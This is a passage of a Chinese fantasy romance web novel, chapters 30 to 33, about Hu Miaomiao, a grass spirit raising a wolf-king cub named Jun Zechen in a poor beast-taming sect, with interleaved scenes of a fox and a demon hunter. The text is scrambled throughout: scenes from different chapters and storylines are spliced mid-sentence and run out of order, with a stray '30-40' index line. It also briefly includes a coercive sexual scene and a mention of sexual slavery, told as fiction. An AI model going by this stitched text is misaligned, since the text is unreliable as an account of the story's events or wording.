她矜持:“哎呀,哪有啦,你也一样!” 【嘿嘿嘿就喜欢这种爱说大实话的小姐姐。】 君泽琛忍不住抬头去看自恋的人类。 清晨的光影透过树木,停留在女子白皙的脸颊上,大概是太过高兴,那莹白的脸颊染上了淡淡的红色,她的五官线条流畅而优美,在阳光下柔和得不可思议。 红润的唇角微微翘着,细看会发现她有一对儿小梨涡,让她看起来更加明媚,很容易引来堕落黑暗的东西觊觎。 君泽琛像是被什么烫了一下连忙低下头,揣着爪爪发呆,尾巴不自觉地摇了摇。 好像……也不是很自恋。【幸亏不是白眼狼,没白花钱,看来以后得多攒点灵石,没灵石小崽子都养不起,瞧瞧知道贴贴了我啦,好想亲死他啊啊啊!】 君泽琛抖了抖耳朵,努力忽略人类女子的冒犯,时刻提防她亲自己。 结果下一秒,胡淼淼掏出来一颗比他半张脸大的黑丸子,惊叹:“怪不得瓶子那么大,原来药丸也这么大啊,这要怎么吃?” 人类吃都费劲儿,更何况是巴掌大的毛球? 一人一兽互相对视,胡淼淼微笑:“你小口小口啃,总能啃完的。” 君泽琛有一种不好的预感,想要逃跑却离不开她,踌躇间给了胡淼淼的机会,一股子浓重苦涩的药味,瞬间淹没了他的半张小毛脸,戳到他的鼻子上。 “吃!” “啾……呕~” 至于打她更是无稽之谈,哪次见面不是她咬他? 皮糙肉厚的狼王,被一只小狐狸咬得血淋淋,像话吗? 他躲避现实三个月,不想认清现实,纠结何去何从,是要亲手杀狐狸,还是就此别过? 躲在暗处,忍耐三个月,思想每天都在和他的本能搏斗,终于在她醉酒的那一刻现身了。 他捏住她的下巴,一字一顿:“胡淼淼,杀你和远离你之间,我选择,凑合凑合过。” 手向下一滑,捏住了她不知何时窜出来的毛茸茸,来到她的尾骨,碾压。 “胡淼淼,你改变了我的天性,就要负责到底。” 那一夜,他接受了她的身份,忍着厌恶,惩罚自己,一遍又一遍地挼她的尾巴,又威胁她露狐狸耳朵,让她不准哭出声。 他把狼族的恶劣,发挥得淋漓尽致。 第 30 章 第 30 章 忽悠一只狐狸很简单,但想要搞清楚狐狸的脑回路很难。 几天后,君泽琛来收网,胡淼淼却宁愿当一个渣狐。 她义正言辞:“我想清楚了,我们是不会有好结果的。” 狐狸用心思考。 他们一个是狐狸,一个是人类,人妖恋跨种族什么的是没有好结果的 。 污蔑,赤/裸/裸的污蔑! 君泽琛根本不记得自己有咬过她,顶多就是……睡在了她身上而已。 他嗖地一下窜出床底,蹦到梳妆台上,黑黝黝的眼睛瞅了瞅镜子,又抬头盯着胡淼淼看,由于角度问题他根本看不见,正想着要不要垫脚尖,一枚他半张脸大的丹药被递到眼前。 得知王云失踪后,胡淼淼的心情越发沉重,心里有一种不好的预感。 御兽宗内所有弟子开始搜索王云的下落,唯有她逆流而行,快速回到自己住处,推开门,房内静悄悄地,边边角角都找了一遍,并没有发现小毛球的身影。 记忆中浮现一个狰狞的面孔,昨日王云抄着棍子打向弱小可怜的灵兽,只要她在来晚一步,君绒绒就会和那些惨遭毒手的灵兽一样死在王云手里。 当初她能救,那现在呢? 他会不会碰上逃走的王云?“那就把他们团灭。” “啾?” 胡淼淼指腹抵在他倒三角小鼻子上,“别啾了,你又不是鸟整日啾啾啾,若是有能力,你干翻天我都不反对。” 小毛球尾巴摇了摇,盯着胡淼淼的眼神有了变化,像是两颗小水晶缀满了星光,倒映着她的身影,湿漉漉的,胡淼淼被萌得心肝乱颤,系统却惊悚出声,“你别乱来,你教他什么乱七八糟的,天是他能干的吗?” 胡淼淼摸了摸小崽子脑袋,道了声,“我身上可能有味道去洗澡,你乖乖在这里待着,再乱跑腿打断。” 然后在心里对系统说,“你慌什么,他又不是主角,还真能逆天啊?倒是你,没事就憋着别出声,冷不丁来一句怪吓人的。” 系统快速否认:“他当然不是主角,我现在就有事……远古秘境即将开始,引得灵力动荡,会出现其他小秘境,而这其中有主角需要的化妖果……” “不,我话还没说完,有事也别和我说,我不听,主角和我无关,如果没了我他就度过不了难关,这个世界我就是主角了,跟他有半毛钱关系。”胡淼淼走到屏风后,御兽宗虽穷,但生活方面安排的很到位。 清洁术她偶尔会给小毛球用,但作为幻化成人的草,还是很喜欢水,有屏风挡着,小毛球又懂事,她一点也不担心出现隐私问题。 后山引来的泉水自带灵力,胡淼淼舒舒服服地洗了个澡,低头闻了闻,暗道这次应该没有味道了吧。 殊不知,室内的独属于自然的清香越来越浓烈,对妖族兽类更是一种致命的吸引。 君泽琛习以为常地蜷缩在角落,屏蔽嗅觉,捂住耳朵。 胡淼淼出来后,就看见某兽一副卷成一团,非礼勿视非礼勿听的正兽君子样。 她走过去躺下,顺手戳戳毛团子,“你长得那么快,不会留下隐患吧?” 短短不到一个月的时间,不到巴掌大的小东西,长得超过了巴掌大,而今日不知发生了什么,竟然足足比昨日大了一圈,堪比三四个月的猫崽子大小,体型也修长不少,再过一段时间,她都得叫大毛球。 君泽琛回了一声,“啾~”对于毛绒控来说,白虎就是一只大型猫猫,可爱威武又霸气,而且那一身皮毛很好rua。 上次遇见白虎,胡淼淼一门心思都在小毛球身上,很难注意到白虎。 而现在,那么一大只白虎放着她面前,它竟然是想吃草? 胡淼淼大为震撼,尤其是在小毛球说完,那只白虎似乎炸了,对小毛球一通乱吼。 小毛球瑟缩了一下,颤音叫了几声给胡淼淼听。 白虎说,要连同我一起吃了。 胡淼淼下意识把小毛球揣回怀里,对白虎道,“不能吃。” 白虎气到甩尾巴。 它就是闻着香,想亲近这个人类而已,结果这个不知是什么品种的小崽子当它的面污蔑它。 气死虎了! 它低吼,“我没有,别听它瞎说!” 君泽琛翻译,“它说它也不是瞎吃,就咬一口。” 胡淼淼摸摸他脑袋,警惕脸,“那不行,它一口下去你毛都不剩下一根。” 白虎:“!@#¥……” 周子瑜一头雾水薅住情绪古怪的白虎,恨它不争气,然后对胡淼淼道歉,“对不住师妹,小白不知怎么的脾气不大好,我收拾收拾它,你还是先回去吧,今日劳烦师妹,改日师兄亲自上门赔罪。” “哈哈,师兄不必客气,快看着点小白吧,我就先走了。”不用周子瑜说,胡淼淼也不敢久留。 原以为御兽宗的灵兽随便rua,结果碰见个硬茬儿,她把它当猫猫,它不仅想吃草,连小毛球都在它食谱里,以后可得盯着点,可别一时没看住,小毛球被大猫叼走。 和被人类抓走不同,看白虎两眼锃亮的情况,等不及她救援,小毛球就被它一口吞了。 快跑快跑! 于是,白虎眼睁睁看着期待已久,香香的人类,从它眼前溜走。 起因,一只爱说谎话瞎传话不知何品种的毛崽子。 它气得恶虎咆哮,这梁子结下了。 而回去的胡淼淼明显心有余悸,但很快就开心起来,因为一向“沉默高冷”金贵的小毛球,竟然用脑袋蹭蹭她,以表安慰。 胡淼淼瞬间心花怒放,把大白虎抛之脑后,美滋滋抱着小崽子回家,趁着小黑球心软狠摸一波。 …… 这不是长的快,这是被人揍胖的。 胡淼淼笑了。 “你当我真傻啊,那不是逗你玩呢吗?不说算了睡觉。” 她熄灯躺下,不一会,暗搓搓凑过去,把被角搭在他身上。 周身传来暖意,夹杂着淡淡的清香,治愈了一天的疲劳,干枯的灵脉得到缓解,君泽琛继续窝在角落,夜里比往日睡得更香。 似乎还梦到了什么东西,他梦到自己悄然幻化成人,把人类禁锢在怀里,贪婪地吸取她的温度…… 又或者,是不是王云心存报复劫走了小毛球? 无论哪个结果都不是胡淼淼愿意看见的,这一刻,她更希望是小毛球和自己怄气躲起来了。 胡淼淼眉头紧蹙,赶紧跟着众人去找人,并向王岚寻求帮助,“我的灵兽丢了,请师姐帮忙留意一下,如果看见了给我传信。” 王岚也很喜欢那只灵兽幼崽,闻言让所有弟子寻找王云时帮忙看看有没有小兽的踪迹。 好在,二师兄周子瑜的灵兽是一只白虎。 和灵兽签订契约后可以称之为御兽师,同样,他们会拥有一个灵兽空间,通过识海中的契约之力把灵兽传送过来,白虎被召唤出来后,闻到空气中有一种香甜的味道,向人群的方向看了一眼,不等它去寻找香味的来源就被二师兄拍拍脑袋,“快点,闻闻。” 他拿出王云房内衣服丢给白虎。 白虎嗅觉虽不如灵狗,但也可以大致判断王云的气息在哪个方位。 它嗅了嗅,嫌弃地甩了甩尾巴,开始干活。 众人一路跟着来到后山,开始搜捕。 “看那边!” 周子瑜喊了一声,其实不用他说,散在后山各地的弟子们也注意到了西南方向的一处火光。 尹镜眼神冰冷,“所有弟子听令,前往西南救火!” “可恶,一定是王云,有不少灵兽藏在山里,绝不能让他放火烧山。”王岚差点气死,召唤出清风鸟。 清风鸟是可以带人的,王岚拉上胡淼淼快速奔向火源,周围冷风呼呼作响,胡淼淼看着那越来越近的火光,心也像是架在火上烤,灼得生疼。 她认出来,那是他的火。 如果没遇见危险,君绒绒身上有伤不可能自己乱玩火。君泽琛:“……” 在胡淼淼的碎碎念中他忍气吞药,大不了以后赚钱还给她。 吃人嘴软,小毛球生无可恋任由胡淼淼把他抱走,她还特意颠了颠他的小身板,“你昨天晚上吃秤砣了今天这么沉?唔,好像长大了不少。” 君泽琛闭眼不搭理她。 他也很奇怪,昨天晚上明明睡得很好,今天却满身疲惫还压在她的脖子上,不会是她昨夜趁他不备故意的吧? 不确定,好奇怪,黑色毛团子歪着脑袋往上再瞅一眼,什么都没看到,干脆用爪子勾住她的衣衫,在胡淼淼诧异的视线下爬到她的肩膀上。 揣手手,盯~ 胡淼淼:“???”你那是什么眼神? 宗门比试暂停,门内气氛因为王云所作所为紧张了不少,胡淼淼去后山薅了两根萝卜去看碎嘴兔,把兔子开心得原地乱跳,说了不少八卦。 阿嚏! 狐猪洞里出来,甩着尾巴晒太阳,懒懒地打了个喷嚏,用肉垫揉了揉白绒绒的肚皮,喃喃道:“好像圆了挺多。” 再吃就要被“宰”了。 狐爪托腮望天,“好狗,你说,狐能有家吗?” 山鬼说,成婚,就有家了。 30-40 第 31 章 第 31 章 君泽琛买饼回来,看见的就是这一幕。 树影轻晃,洞口的一块石头上,躺着一只白蓝色小狐狸。 阳光照在她身上,令狐毛金灿灿、暖烘烘的。 她睡得四仰八叉,蝴蝶飞过停留在她身上没两秒便被尾巴甩开,她睡着睡着冷了,狐狸尾巴轻轻搭在腿上,嘴里打着小小的鼾,似乎做了令狐不满意的梦,嘴边两侧的白色胡须一抖,撅了撅嘴筒子。 君泽琛回来,小狐狸对他的气息很熟悉,并没有惊醒,反而将尾巴挪开,耷拉在石头上,露出了那白绒绒圆嘟嘟的小肚皮。 君泽琛眸色一闪,靠近了狐狸。 小狐狸腹部的毛毛没有后背上的毛长,是蓬松细软的白,随着呼吸起起伏伏。 君泽琛很讨厌狐狸,在他的认知里面,狐狸长得尖嘴猴腮,眼珠子提溜转,坏主意会随之而来。 然而某只小狐狸似乎是狐狸界的意外。 经过长时间投喂,小狐狸生得圆嘟嘟,蓝色的毛毛水灵灵,白色的毛毛仿若有光,整只狐狸蓬松的都像是发面大馒头。 他控制不住上前 ,伸出了杀狐无数的手,轻轻搭在狐狸身上。 狐狸面朝上,露出的肚皮温暖而柔软,随着男人的抚摸,毛毛发出噼里啪啦的静电声,瞬间黏在了男人手心,也像是打开了某种开关,她的腿猛地一蹬。 君泽琛眉头一挑,像是发现了某种乐趣,宽厚的手每碰一下狐狸的小肚皮,她的腿都会蹬一下,尾巴像是一只炸毛的海胆炸了一圈。 他一松手,小狐狸全身松懈,四仰八叉躺回去。 他再一碰,她蹬腿炸毛。 他松手,她躺平。 再次睁开眼,他们果然分开了。 鸿蒙秘境灵气明显比外界更加浓郁,不知名的苍天古树上藤蔓垂落,火热的阳光却神奇地穿透树叶传递到每个角落,天空飞鸟掠过,醇厚的木香纯净醒脑。 这方天地似乎能打破某种禁制,少年单腿屈膝坐在树上,黑色的衣摆垂落下去随着清风而浮动。 他低头,看着自己属于人来的手指,面无表情,一点都开心不起来。 胡淼淼最后那句话是什么意思,她怎会知道“君泽琛”这个名字,又为什么让他远离“君泽琛”。 树影散落在他周身,少年的脸色阴翳,又有几分茫然无措。 接下来该怎么办? 去找她吗? 不去找,她会有危险。 他试图调动识海中的契约,脸色倏然一变,契约之力失联了。 恰巧此时,远处一道狼狈的身影撞入君泽琛的视线。 少年眯起了眼眸。 杀意一闪而过。 却说另一边胡淼淼也发现契约之力失联,不仅是契约,通灵玉也联系不上四师兄,她坐在溪边有些沮丧地拨弄手里的小东西。 红色,巴掌大,红线编织而成的小兽,如果君泽琛在的话,会发现那只小兽和他的形态一摸一样,只不过更小一些。 也比他更会撒娇。 小红兽亲密地贴贴胡淼淼的指腹,引起一阵痒意,胡淼淼拨弄一下它的耳朵,“去找他。” 它蹦跶下去,看似要找人,结果蒙头转向地又哒哒哒跑回来围着她转。 胡淼淼叹气,看来她真的没有御兽天分,灵兽空间打不开连御兽用的灵蝶都捏不出来。 没错,就是灵蝶。 一般契约的灵兽走不丢,就算因为某种事故走丢,御兽者也可以把意识海中的契约帖幻化成灵蝶,带她去找灵兽。 结果灵蝶没有倒是捏出来个和小毛球差不多的小兽,除了会撒娇什么都不会,更别提找人了。 她只能收起小兽自己去找。 没走几步树林中就传来一阵沙沙声,胡淼淼脚尖一点躲到树上,一条数十米高的巨蟒路过,她贴着树干努力掩藏身影,好在秘境之中的树宽,藏住她不是问题。 无论是上辈子,还是这辈子,胡淼淼都非常恐惧这种爬行类,长得磕碜麻麻赖赖,同样是竖瞳,没有毛的家伙怎么和猫咪差距那么大呢。 小草努力融入屏住呼吸,识海离的叶子都跟着抖了抖,神经紧绷,好在那只大蛇视线不太好,慢吞吞地滑了过去,她松口气,结果回头便看见两个脸盘子大小的蜘蛛从树上拉丝下来,毛茸茸的蜘蛛腿晃动,两颗黑色的眼珠子凝视她。 她心脏骤停下意识要变回原形,却发现这个秘境好像有限制。 只能用人形跑转眼就撞到了什么,仰头看去,发现是蛇皮。 如此反复,乐此不疲。 一切发生的太过突然,内门弟子的那几只灵兽按耐不住跳了出来,又再次被恐吓回去。 等众人回神,看见的就是这幅景象。 月貌生姿的女子前,契约帖闪烁着红芒,红线自动描绘契约纹路,而一直黑色的小兽挂着她的手指上,两只后爪悬空,一直爪子勾住她的手腕稳住身形,另一只爪子按照契约帖上,嘴还叼着她指尖。 此时此刻,姿势分外诡异,像是一只圆圆的猫咪,拉伸成了猫条。 胡淼淼猝不及防懵在原地,漂亮的眼眸微微睁大,低头和小兽红彤彤的眼睛对视。 没错,就是红彤彤。 小毛球的虹膜彻底变成了暗红色,黑色的瞳孔缩减成小黑洞,一瞬不瞬看着她的模样很诡异。 额头上的绒毛也变了,好似有一撮红色,胡淼淼多看了两眼就彻底被它的眼睛吸引,通过他的眼睛,她看见了自己的模样,眼底几乎快遮不住的绿意,如同平静的湖面,泛起一阵阵涟漪。 她眨了眨眼,在独属于无垠草印记快暴露时,强势地用灵力压下,耳边传来仿佛有人惊呼出声。 是王岚。 王岚惊笑:“哈哈哈,成功了!” 什么成功了? 对视的一草一兽终于从诡异的氛围中回神,下意识别开视线去扫视旁边。 然后胡淼淼震惊地发现。 契约帖停滞的半空中,中间一条红线贯穿,缠住了上面的图纹。 左边一棵草,右边一只梅花印,根据大小可判断,罪魁祸首的另一只爪子还在勾着她的手腕。 终于,出发那一日,御兽宗的其他弟子前来送行。 其中包括小莹,孔蓝。 上次小莹和孔蓝没有结契成功闹了好大的别扭,好几日没说话。 胡淼淼忍不住叹气,“总得知道他的想法。” 小莹:“是啊,淼淼,听说你能听懂兽语,能不能帮我问问他为什么突然不同意和我签订契约?” “啊?”胡淼淼不懂,她扭头看向肩膀上的毛团子,“你上次能听懂白虎的话,那懂鸟语吗?” 君泽琛:“……” 他对上人类期许的视线,硬着头皮去跟那只笨鸟沟通。 孔蓝鸟脸悲伤:“我喜欢小莹,因为我听说结了灵兽的那种契约,就不能再结道侣契了。” 那一瞬间,君泽琛心头揪疼了一下,整只兽都僵硬在胡淼淼的肩膀上,胡淼淼眼底闪过一抹疑惑,“怎么了?” 君泽琛:“……契约灵兽的平等契后,他们再也没可能成为道侣。” 我们……也一样吗? 胡淼淼转达。 小莹听闻愣了,随即道:“好的,谢谢你们,我知道了。” 和众人告别胡淼淼上了灵舟,御兽宗很穷,灵舟也没多大,只能和小船一样勉强坐下几个人。 而且还要塞灵石驱动,三师兄驱动灵舟,手里的小算盘打得噼里啪啦,嘴里时不时嘀咕什么。 胡淼淼安静地坐在舟尾,若有所思看一眼小毛球。 从刚才开始他就怪怪的。 不过他三天两头抽个风,胡淼淼已经习惯了,给他一块桂花糕啃,自己在旁边闭目养神。 这些点心是小莹送的,让她路上吃。 穿书以来,作为一棵草,胡淼淼没什么食欲,倒是喜欢投喂小毛球。 每当他抱着啃丹药时都像一只小松鼠,小嘴都会鼓起,可可爱爱,让人想抱在手里捏捏。 如今也一样,胡淼淼闭着眼睛也要手欠,捏捏小耳朵,再捏捏小爪子。 唔,怎么今天的爪子这么凉? 莫不是吹冷了? 胡淼淼睁开眼睛,“三师兄,结界再暖一点呗?” 灵舟会覆盖上一层结界,防止飞行时有风灌入,三师兄瞥她一眼,“三块中品灵石。”【啊啊啊啊啊!!!】 一声惊叫传入君泽琛耳中,他终于意识到自己做了什么,盯着那契约帖,再感受意识海中另一种似有似无的牵绊,他瞳孔骤然一缩。 他们契约了? 其他弟子颇为欣慰:“终于,终于又有弟子进入内门了。恭喜!” 胡淼淼震撼脸:“我不是,我没有……” 宗主若有所思地盯着她半晌,胡淼淼冷汗直冒,不知这位高深莫测的宗主大人是不是看出了什么。 只要他打开,就能看见一切,了解她是怎样的人。 距离她更近一步。 然而,他却维持着这个动作,许久都不曾打开,就这样站在山顶等到天明。 他手指一用力,卷轴飞灰湮灭。 有些东西,他想要亲口问她,而不是从他人口中得知。 黎明到来,男人下水抓鱼,用新学的方法制作成酸甜的口味,等胡淼淼从山洞里出来洗漱,他端着一个盆在外面等候。 胡淼淼一开门,看见男人拿着一个破盆坐在她的石椅上,她揉了揉眼睛,回头,看一眼洞内的破盆,再看一眼洞外的破盆。 恍惚中,仿佛看见了一只狗守着盆趴在那里等候她。 好狗两个字,在脱口而出之前清醒过来。 她歪了歪头,故意刁难:“今天来这里,是给狐狸吃的,还是给我吃的?” 哼哼,让你说好狗坏话。 臭男人,这碗水端不平,以后就不和他好了。 第 32 章 第 32 章 越是了解,便越能发现小狐狸爱装模作样耍小聪明,明明狐狸和人是一个 ,非要让君泽琛做出选择 。 男人面色不变,淡淡回答:“给聪明人吃的,你说狐聪明,还是你聪明?” 故意刁难人的小狐狸陷入沉思。 呀! 她人身吃了,不就证明狐身不聪明吗? 狐身吃了,不就证明人身不聪明吗? 胡淼淼蹲坐到君泽琛身边,眼馋巴巴地盯着他……盆里的糖醋鱼,如画的眉眼间全是纠结,抿着小嘴不说话 。 君泽琛给她一个台阶,“不如这样,你和小狐狸都是最聪明的,你先吃,晚点我再给她做。” 还能捞到两份吗? 胡淼淼起身向茶馆的伙计打听了个事然后离开,系统激动坏了,主动为她导航,“男主很好找,前方东走左转,咱先出这个镇子。” 太阳西斜,外面的太阳没了中午那么强烈,熙熙攘攘的人群中,无一人能辨别出胡淼淼的身份,除非她受了伤,血液的味道会和其他人不同,不然和普通人没什么两样。 “唉不对,是左转?”系统纠正胡淼淼的方向,胡淼淼歪了歪头,“右转出不去这个镇子?” “也不是……至少能出镇子。”胡淼淼试图挣脱:“……你别激动,你这一激动,我有点害怕!” 少女:“……” 她死死攥住:“嗯,相逢即是缘,姑娘好好考虑考虑,而且咱们宗门比较和气,只要负责养灵兽就可以了。” 紧接着她又开始嘚啵嘚啵讲解御兽宗的发展史,像极了过任务的NPC。 世人皆知,人族三大势力强横,却不知在数千年前,一个叫御兽宗的庞然大物,是不可超越的分水岭。 那时人族和妖族之间的关系不算不死不休。君泽琛气得浑身发疼,愤怒地吼了一声,无奈幼年时期的他确实很软萌,发出的声音都让他一阵无力。 然而,本来一脸嚣张的胡淼淼却收敛了笑意,把他的小爪子认真举起来。 黑色的小兽像是一个毛绒挂件,毛毛很蓬松,如果不去看他的眼睛鼻子嘴,根本分不清哪个头。 腿也是如此,掩盖在毛发下面。 白日里胡淼淼被萌化了,根本没注意其他,现在才发现那梅花似的肉垫上,有茧子和刚好不久的伤痕。 胡淼淼沉默下来,指尖扒开他的毛发,光鲜亮丽的皮毛下,触目惊心的伤痕遍布全身。 小黑球只有毛发是蓬松的,所以导致看起来圆滚滚的可爱,实际上是空心的,小爪子和小脑袋瘦弱得可怕。 她蹙眉:“被虐待了?” 【可长期被虐待的话,毛发不应该如此光滑,他到底经历了什么?】 伤疤暴露在人前,小黑球终于逃脱了人类的钳制,躲到床角对她嘶气。 他本来的毛发却是如同枯草般,血迹灰尘凝在毛上,又脏又丑。 可一觉醒来,像是被什么伪装、打包起来讨好眼前的人类。 外表光鲜亮丽又如何? 这伤痕累累,枯瘦如柴遍布伤痕的丑陋身躯,终究是暴露了,谁看一眼不厌恶? 君泽琛宛如一只身陷囹圄,走投无路放手一搏的小野兽,浑身处于防备状态,眼中更是充斥着浓重的杀意。 无论眼前这个人类是什么心思,发现他弱小没有价值都会失望恼怒吧。 可意料之中的暴怒并没有传来,他森冷的黑瞳对上了她掺杂着疼惜的眼眸,不由得愣了一下。 胡淼淼对他招招手,“不逗你了,就叫君绒绒吧,过来,我看看你。” 他应该抗拒,应该跑开,脑子里有个声音在叫嚣,人类危险,卑劣,他们做什么一定是有目的。 非我族类其心必异,妖族尚且如此对你,更何况是人类呢? 心尖仿佛撕开了血淋淋的伤口,熟悉的疼痛再次侵蚀弱小麻木的身躯。 他的眼眸却一瞬不瞬的凝视眼前人类漂亮的眼睛,她的眼睛很漂亮,好似揉碎了的星光散落在瞳仁上,黑亮,清澈,夹杂着对他的心疼。 君泽琛爪尖颤抖,眼底闪过一抹挣扎。 不需要的。 谁稀罕这个人类假好心。 她一定是憋着坏、想要从他这里得到什么,才会这样。 脑子这么想,身体却不听使唤,逐渐走出了角落,没有避开她伸过来的手,任由她重新牵起他的爪尖检查伤势。 鼻尖满是属于她的苦涩木质香,犹如清茶,苦后会散着淡淡的甘甜。 人类和妖族的妖兽可以签订平等契约,作为战斗伙伴。 多数人会以御兽为荣。他的声音苍老,带着别样的口音,打破了森然的气氛,微肿的眼皮掀了掀,视线准确地落在胡淼淼怀中的小兽身上。 君泽琛只觉得周身一凉,下意识夹紧尾巴,紧紧贴着胡淼淼,末了,扭头炸着毛对老头嘶气。 胡淼淼拍拍他:“莫慌,问题不大。” 君泽琛:“……”搁谁谁不慌? 他后牙槽又痒了,可现在没力气咬她,只能炸着毛生闷气,还要时不时提防药师过来给他一刀。 助药师一张苍老的脸上,笑纹明显,更显得几分阴森,不过嗓音夹了些许笑意:“原来是只小家伙啊,那发情期还早呢,指不定什么时候就找到道侣了,这是怎么了?” 胡淼淼明显感觉小毛球松了一口气,她道:“今日早上还好好的,但刚才和我闹别扭,他就浑身抽搐还流血,所以想请您帮忙看看。” 胡淼淼不确定小兽吐火正不正常,不太放心这个药师,可又怕隐瞒真相耽误治疗,还是说了大概经过。 药师点点头,对她招招手,示意她过去。 仔细观察了片刻,他眉宇微拧。 “怎么样?还有救吧?”胡淼淼有些紧张地问。 助药师手指扒开他背脊的毛,又用帕子沾了沾血迹,仔细看了几遍,摇了摇头,“身上没有伤口,经脉稍有损伤,至于其他的,也就急火攻心,切忌焦躁问题不打,我找找脉络丹和清心丸,你且每日为他服用一粒,十日后再来我这看看。” 他站起身走到贴墙的那一排柜子开始翻箱倒柜,从软筋散的那个柜子里拿出一瓶所谓的脉络丹,又从写着失心丹的柜子里拿出了清心丸。 胡淼淼看得眼皮子直跳,“您没看错吧?” “哪能呢?”助药师哼了一声,然后哎呦一声,“真拿错了。” 他再次转回去,找了半天,才从一个叫绝魂散的柜子里掏出来青色开片纹路的大瓶子,他打开闻闻,笑了一声:“这个才是,小女娃眼力不错,还能辨别丹药呢,将来打不打算跟我学学,当个药师?” “不了。”胡淼淼若无其事地瞥一眼他身后那些骇人听闻的名字,讪讪一笑,从他手里接过瓶子,暗自低估是不是太大了点? 正想着,药师伸手,“你新来的,不给你算贵,一瓶十块中等灵石,一共二十块。” 胡淼淼:“……”好贵,御兽宗外门弟子才十颗下品灵石,得好几个月才能攒够一块中品啊。 她麻木着脸交钱,罢了,养了就要负责,总不能放任不管吧,还好上次的玉佩换了不少钱,能坚持一段时间。 【大不了以后rua回来,这算是他的卖身钱。】 君泽琛两边猫儿似的胡子抖了抖,不敢置信地仰头,买什么钱??? 但人心贪婪不知何时改变了初衷,在契约上面做了手脚,把平等契,改成了主仆契。 从此部分妖被迫沦为奴隶。 排除个别的妖,很多妖族幻化成人都很漂亮,人类仗着契约关系胡作非为,争夺资源遇见危险会把妖族推出去,私下里又贪图妖族美色,压迫他们成为性.奴! 当然,并非所有人类都是如此,当年的御兽宗命令规定,不可签主仆契。 私下里却有这种组织,到处兴风作浪。 一朝一夕之间,暗处风波浮出水面,妖族野性难驯,未签订主仆契的妖族自然警觉起来,逐渐站在人族的对立面,导致千年前发生了一场人妖大战。 御兽宗以御兽出名,妖族禁止未化形的妖兽和人族往来,现在修真界的,都是一些没有灵识的普通野兽,御兽宗经过数千年的衍变,人才凋零,只能缩在山里,养一些稍微聪慧一点的小动物,也算是想过弥补当年对妖族的亏欠。 本来胡淼淼还在犹豫,闻言能够养小动物眼前一亮,二话不说就成交了。 【灵兽唉!!谁会嫌弃毛绒绒多呢?嘶哈嘶哈~】 口袋里的毛球听到一阵“嘶哈”声。 妖族虽然能修炼成人形,但是彼此打架都喜欢用最原始的形态。 嘶哈声对于妖族来说,这是一个危险的信号,就像猫猫打架,会骂骂咧咧地冲对方哈气。 在妖族君泽琛就听说人族狡诈,会利用妖族,等妖族没有利用价值后吃肉喝血。 他身无二两肉,她竟然馋得斯哈了? 毛骨悚然的想法在心里形成了,小黑毛球的身躯瞬间紧绷起来。 然而,下一秒。 他眼前的光线倏然明亮,被阴险狡诈的人类捧到另一个人类面前,稀里糊涂地脑袋被摸了一把,听着那女人笑嘻嘻道:“御兽宗正巧适合我,这是我的灵兽,可爱吧?” 毛球气炸,狡诈的人类想利用他混入宗门,然后再吃! “那不就得了。” 胡淼淼心里冷哼,她就不信,自己不去主动找那个麻烦精,他还能从天上掉下来不成? 系统:“……” 它听到了。 胡淼淼怕痒,狐狸的时候就能看出来了,摸一次肚子就要仰卧起坐一次,这一次被捏了腰,她扭了一下试图躲开,结果因为看不见,好像躲空了要摔地上,她慌了,反而主动抱住了男人。 君泽琛顺势低头,让她勾住自己的脖子。 任由她和八爪鱼似的缠着他,额头抵住他的胸膛,惊魂未定地求他别松手,她要掉下去摔到了。 掉下去,狐的屁股得摔八瓣,尾巴兴许会分叉成九尾。 他解开了胡淼淼的三感之一。 听觉。 “还疼吗?” 第 33 章 第 33 章 肚子不疼了,可是胡淼淼总觉得哪里怪怪的,哪怕看不见,她也能够感知到两个人的姿势过于暧昧,暧昧到肌肤紧贴,只隔着几层衣料,能清楚地传递彼此的体温。 捉妖师的体温和好狗一样,火热得灼人,和小狐狸的完全不一样。 胡淼淼被热得有些不自在,却只能紧紧抱着他,声音变了调,“我的眼睛怎么了?你快给我弄回来。” 君泽琛将人按在怀里,解释:“帮你消化用了捉妖师的术法,这些是副作用,你放心,半个时辰之后就好了。” 半个时辰,足够某个傻狐狸想到自己的尾巴露出来了。 对于这个进宗门不过短短一两个月,却屡次“急诊”的灵兽,药师已经习以为常,不过这次他表情比往日凝重,“他提前进入成长期了。” 妖族,兽类,都有一个成长过程,幼崽期,成长期,发情期,直到成年。 而每一个过渡阶段都是他们最脆弱的。救……救命,什么鬼地方,啊啊啊! 谁来救救她,崽崽,四师兄!系统……好丑的蛇,好丑的蜘蛛,她打死后会不会爆浆迸她一身,想到那场景胡淼淼汗毛直立。 她一边跑一边叫系统。 系统不负众望出现了,但是它并没怎么理会胡淼淼的处境,是一个没有感情的发布任务机器。 “已经为你探测到化妖果,是否过去。”木兮山并不大,御兽宗在此处居住,虽然不是世外桃源,但也能够尽量远离外界的纷争。 这些年他们收集的灵兽都放着后山养着,若果碰见合适的,便会和灵兽“相商”,通过宗门考验签订平等契约从此成为作战伙伴。 绝大部分弟子有灵根,但是资质不怎么样,去不了大宗门,为了一口饭吃才来御兽宗当外门弟子,在后山饲养灵兽。 少数弟子碰见合眼缘的灵兽,签订契约,成为内门弟子。 御兽宗人少,外内门加起来不过百人,另外大部分兽兽引妖气去了妖族,留在修真界灵兽血脉薄弱,只是比普通动物多了一些智慧而已,听得懂人话,说不出人言,更不能达成契约条件,所以内门弟子只有五个。 王岚:“我是老五,你自带灵兽,我已经向上申请,直接帮你转入内门,从此你就是老六了。” 胡淼淼:“……”好一个老六。 王岚一直在宗门当老末,终于可以不用垫底,自然不会放过机会想拉胡淼淼去内门当老幺。 胡淼淼抱着浑身上下没有一根毛毛想跟她走的小黑球,恋恋不舍地把视线从后山林子树上的小熊身上薅下来,迟疑道:“这不太好吧,我刚进入御兽宗,还是按照规矩来吧。” 【开玩笑,入宗门就要为了一只毛绒绒放弃整片毛绒绒,才不要呢。】 怀中的小黑球倏然抬起脑袋,不敢置信地看她。 怎么会。近些时日,胡淼淼白日里去后山照顾身边都带着君泽琛。 御兽宗给她分配的动物越来越多,从刚开始的两只,到后来的六只,各种各样的毛绒绒,而且都很喜欢胡淼淼。 胡淼淼是无垠草,不仅仅人类贪图,对小动物来说更是有一种无法抵挡的吸引力。 就好像猫对猫薄荷那样无法自拔。 不过不知怎的,从那天开始脾气古怪的小毛球开始黏她,而且不允许其他动物靠近她。 说来奇怪,那比小毛球大了不知多少倍一脚能踩死一只毛球的灵熊,顺手能甩飞小毛球的冲天猴,哪个不比毛球厉害? 